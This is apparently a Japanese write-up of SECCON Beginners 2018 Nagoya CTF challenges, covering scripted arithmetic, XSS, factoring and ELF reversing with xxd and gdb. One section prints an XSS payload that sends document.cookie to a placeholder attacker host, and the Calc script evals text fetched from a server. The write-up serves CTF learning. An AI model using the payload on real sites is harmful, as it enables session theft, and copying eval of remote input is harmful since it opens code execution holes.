SECCON Beginners 2018 Nagoya CTF Writeups

2018/11/24

60+N人中7位。問題は公開されていない。

Calc

SECCON Beginners CTF 2018 てけいさんえくすとりーむずのHTML版。ただし回答の時間制限は無い。

数式を取得し、結果をPOSTする。アクセスユーザ識別のためのCookie設定を忘れないこと。

import urllib.request
import urllib.parse
from bs4 import BeautifulSoup
from http.cookiejar import CookieJar

url = "http://10.2.6.1:8080/index.php"

opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar()))
res = opener.open(url)
html = res.read().decode("utf-8")
soup = BeautifulSoup(html, "html.parser")
exp = soup.find("div").text

for _ in range(100):
    data = urllib.parse.urlencode({'answer':eval(exp)}).encode('utf-8')
    res = opener.open(url, data)
    html = res.read().decode("utf-8")
    print(html)
    soup = BeautifulSoup(html, "html.parser")
    exp = soup.find("div").text

do alert

用意されたformに<script>alert(0)</script>を仕込んでリロード

ASカンパニー

formから任意のtitleとtextを投稿するページがあり、投稿結果をクローラが巡回している。クローラのUAにFLAGが書かれている。

formにはscriptを仕込むことができるため、<script>document.location="http://<attacker>?"+encodeURIComponent(document.cookie)</script>をtitleまたはtextに仕込んでクローラのアクセス結果を確認する。

Go Fast

計算するだけ

print(2**4085 % 97)

Factoring

素因数分解するだけ

$ factor 2240118421
2240118421: 43223 51827

Find it.

ELF file bin1が与えられる。xxdでフラグを得る。

xxd bin1 | grep -A1 ctf
0001060: 6374 6634 627b 666c 3467 5f6e 3037 5f31  ctf4b{dummy____
0001070: 6e5f 6330 6433 5f35 3367 6d33 6e37 7d00  _________flag}.

Read it.

genflag sectionにFLAGが直書きされている。

00000000004005eb <genflag>:
  4005eb:       55                      push   rbp
  4005ec:       48 89 e5                mov    rbp,rsp
  4005ef:       48 83 ec 50             sub    rsp,0x50
  4005f3:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4005fa:       00 00
  4005fc:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400600:       31 c0                   xor    eax,eax
  400602:       c6 45 c0 63             mov    BYTE PTR [rbp-0x40],0x63
  400606:       c6 45 c1 74             mov    BYTE PTR [rbp-0x3f],0x74
  40060a:       c6 45 c2 66             mov    BYTE PTR [rbp-0x3e],0x66
  40060e:       c6 45 c3 34             mov    BYTE PTR [rbp-0x3d],0x34
  400612:       c6 45 c4 62             mov    BYTE PTR [rbp-0x3c],0x62
  400616:       c6 45 c5 7b             mov    BYTE PTR [rbp-0x3b],0x7b
  40061a:       c6 45 c6 63             mov    BYTE PTR [rbp-0x3a],0x63
  40061e:       c6 45 c7 34             mov    BYTE PTR [rbp-0x39],0x34
----- snip -----

Disassemble It.

パスワードを要求するELF fileが与えられる。gdb-pedaで実行。

$ ./bin3
Password : invalid password
Wrong..
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
RBX: 0x0
RCX: 0x0
RDX: 0x1
RSI: 0x555555556016 --> 0x57004e4f43434553 ('SECCON')
RDI: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
RBP: 0x7fffffffe4b0 --> 0x0
RSP: 0x7fffffffe3d0 --> 0xffffe400
RIP: 0x555555555211 (<main+136>:        call   0x555555555060 <strcmp@plt>)
R8 : 0x7ffff7dd5060 --> 0x7ffff7dd29e0 --> 0x7ffff7b96712 --> 0x2e2e00544d470043 ('C')
R9 : 0x7ffff7b81200 --> 0x2000200020002
R10: 0x0
R11: 0x246
R12: 0x555555555090 (<_start>:  repz nop edx)
R13: 0x7fffffffe590 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555200 <main+119>:   lea    rax,[rbp-0xd0]
   0x555555555207 <main+126>:   lea    rsi,[rip+0xe08]        # 0x555555556016
   0x55555555520e <main+133>:   mov    rdi,rax
=> 0x555555555211 <main+136>:   call   0x555555555060 <strcmp@plt>
   0x555555555216 <main+141>:   test   eax,eax
   0x555555555218 <main+143>:   je     0x555555555235 <main+172>
   0x55555555521a <main+145>:   lea    rdi,[rip+0xdfc]        # 0x55555555601d
   0x555555555221 <main+152>:   mov    eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
arg[1]: 0x555555556016 --> 0x57004e4f43434553 ('SECCON')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3d0 --> 0xffffe400
0008| 0x7fffffffe3d8 --> 0x2
0016| 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
0024| 0x7fffffffe3e8 --> 0x0
0032| 0x7fffffffe3f0 --> 0x0
0040| 0x7fffffffe3f8 --> 0x0
0048| 0x7fffffffe400 --> 0x0
0056| 0x7fffffffe408 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555555211 in main ()
gdb-peda$

入力した文字列と’SECCON’を比較しているため、これがパスワードだと推測する

./bin3
Password : SECCON
Okay, Process a one byte..
Password : SECCON
Okay, Process a one byte..
Password : SECCON
Okay, Process a one byte..
----- snip -----

何度も同じパスワードを要求するため、pipeで’SECCON’を入力。フラグを得る。

echo 'SECCON' | ./bin3
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
----- snip -----
Password : Okay, Process a one byte..
DONE -> FLAG : ctf4b{DUMMY}